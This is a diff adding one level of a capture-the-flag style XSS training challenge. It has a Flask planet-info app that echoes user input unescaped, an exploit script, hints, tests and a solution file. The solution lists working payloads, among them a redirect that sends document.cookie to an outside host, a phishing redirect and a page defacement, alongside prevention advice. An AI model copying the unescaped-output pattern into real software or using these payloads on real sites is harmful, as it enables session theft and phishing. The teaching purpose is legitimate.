Adding S2_Level-3 : XSS Vulnerability #41

Season2_Level-3/code.py

@@ -0,0 +1,51 @@
+from flask import Flask, request, render_template, jsonify
+import os
+
+app = Flask(__name__)
+
+# Set the absolute path to the template directory
+template_dir = os.path.abspath('templates')
+app.template_folder = template_dir
+
+# Hard-coded planet data
+planet_data = {
+    "Mercury": "The smallest and fastest planet in the Solar System.",
+    "Venus": "The second planet from the Sun and the hottest planet.",
+    "Earth": "Our home planet and the only known celestial body to support life.",
+    "Mars": "The fourth planet from the Sun and often called the 'Red Planet'.",
+    "Jupiter": "The largest planet in the Solar System and known for its great red spot.",
+}
+
+@app.route('/', methods=['GET', 'POST'])
+def index():
+    if request.method == 'POST':
+        planet = request.form.get('planet')
+
+        if planet:
+            return f'<h2>Planet Details:</h2><p>{get_planet_info(planet)}</p>'
+        else:
+            return '<h2>Please enter a planet name.</h2>'
+
+    return render_template('index.html')
+
+@app.route('/getPlanetInfo', methods=['GET'])
+def get_planet_info_endpoint():
+    planet = request.args.get('planet')
+
+    if planet:
+        details = get_planet_info(planet)
+        if details:
+            return f'<h2>Planet Details:</h2><p>{details}</p>'
+        else:
+            return jsonify({'error': f"No information found for '{planet}'."}), 404
+    else:
+        return jsonify({'error': 'No planet name provided.'}), 400
+
+def get_planet_info(planet):
+    if planet in planet_data:
+        return planet_data[planet]
+    else:
+        return f'No information found for {planet}.'
+
+if __name__ == '__main__':
+    app.run()

Season2_Level-3/hack.py

@@ -0,0 +1,16 @@
+import requests
+
+# Target URL
+target_url = "http://localhost:5000/"
+
+# XSS payload
+payload = "<script>alert(document.cookies)</script>"
+
+# Craft the malicious URL with the payload
+malicious_url = f"{target_url}getPlanetInfo?planet={payload}"
+
+# Send the request
+response = requests.get(malicious_url)
+
+# Print the response content
+print(response.text)

Season2_Level-3/hint.md

@@ -0,0 +1,12 @@
+XSS Exploit
+
+Hey, This Code is vulnerable to XSS, can you exploit it?
+
+try checking endpoint 
+```/getPlanetInfo```
+
+Learn more about XSS from : 
+
+[OWASP](https://owasp.org/www-community/attacks/xss/)
+
+[PortSwigger](https://portswigger.net/web-security/cross-site-scripting)

Season2_Level-3/requirements.txt

@@ -0,0 +1 @@
+flask

Season2_Level-3/solution.md

@@ -0,0 +1,40 @@
+### This code is vulnerable to [XSS](https://portswigger.net/web-security/cross-site-scripting)
+
+Vulnerable Endpoint: `/getPlanetInfo`
+
+Exploit: 
+```js
+http://localhost:5000/getPlanetInfo?planet=<script>alert('XSS Attack')</script>
+``` 
+
+### What you can do with XSS?
+- Steal Cookies and Session Information
+- Redirect to malicious websites
+- Modify website content
+- Phishing
+- Keylogging
+- etc. 
+
+### How to prevent XSS?
+- Sanitize user input
+- Use Content Security Policy (CSP)
+- Use HttpOnly Cookies
+- Use X-XSS-Protection header
+
+
+### Here are some exploit examples:
+
+#### Redirect to Phiting page using XSS 
+```<script>   window.location.href = 'https://google.com'; </script>```
+
+#### Get cookies 
+```<script> window.location.href = 'https://google.com/?cookie=' + document.cookie; </script>```
+
+#### Modify website content
+You can inject any phising page / malicious page or any other content to the website using XSS.
+
+```<script> document.body.innerHTML = '<h1>Website is hacked</h1>'; </script>```
+
+
+```<iframe width="560" height="315" src="https://www.youtube.com/embed/dQw4w9WgXcQ" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen></iframe> ```
+

Season2_Level-3/storyline.txt

@@ -0,0 +1,4 @@
+Congratulations on completing Level 2 !
+Welcome to Level 3, where new challenges and mysteries await you. Here, you will face a heightened test of your skills and knowledge.
+
+In this level, the website's vulnerability has become more elusive, requiring a deeper understanding of cross-site scripting (XSS) techniques. Your mission is to explore the intricate corners of the website's code, discover hidden flaws, and master the art of XSS exploitation.

Season2_Level-3/templates/index.html

@@ -0,0 +1,63 @@
+<!DOCTYPE html>
+<html>
+
+<head>
+    <title>Planet Information</title>
+    <style>
+        body {
+            font-family: Arial, Helvetica, sans-serif;
+            background-color: #121212;
+            color: #ffffff;
+        }
+
+        h1 {
+            text-align: center;
+            margin-top: 50px;
+        }
+
+        form {
+            text-align: center;
+            margin-top: 30px;
+        }
+
+        label {
+            font-weight: bold;
+            display: block;
+            margin-bottom: 5px;
+        }
+
+        input[type="text"] {
+            padding: 8px;
+            border-radius: 4px;
+            border: 1px solid #ffffff;
+            width: 200px;
+            background-color: #292929;
+            color: #ffffff;
+        }
+
+        input[type="submit"] {
+            padding: 8px 20px;
+            border-radius: 4px;
+            background-color: #4CAF50;
+            color: #ffffff;
+            border: none;
+            cursor: pointer;
+        }
+
+        input[type="submit"]:hover {
+            background-color: #45a049;
+        }
+    </style>
+</head>
+
+<body>
+    <h1>Planet Information</h1>
+    <form action="/" method="POST">
+        <label for="planet">Enter a planet name:</label>
+        <input type="text" id="planet" name="planet">
+        <br><br>
+        <input type="submit" value="Submit">
+    </form>
+</body>
+
+</html>

Season2_Level-3/tests.py

@@ -0,0 +1,38 @@
+import unittest
+from flask import Flask
+from flask_testing import TestCase
+from code import app, get_planet_info
+
+class MyTestCase(TestCase):
+    def create_app(self):
+        app.config['TESTING'] = True
+        app.config['TEMPLATES_AUTO_RELOAD'] = True
+        return app
+
+    def test_index_route(self):
+        response = self.client.get('/')
+        self.assert200(response)
+        self.assertTemplateUsed('index.html')
+
+    def test_get_planet_info_invalid_planet(self):
+        planet = 'Pluto'
+        expected_info = 'No information found for Pluto.'
+        result = get_planet_info(planet)
+        self.assertEqual(result, expected_info)
+
+    def test_get_planet_info_valid_planet(self):
+        planet = 'Mercury'
+        expected_info = 'The smallest and fastest planet in the Solar System.'
+        result = get_planet_info(planet)
+        self.assertEqual(result, expected_info)
+
+    def test_get_planet_info_endpoint_no_planet(self):
+        response = self.client.get('/getPlanetInfo')
+        self.assert400(response)
+        self.assertEqual(response.json, {'error': 'No planet name provided.'})
+
+
+
+if __name__ == '__main__':
+    unittest.main()
+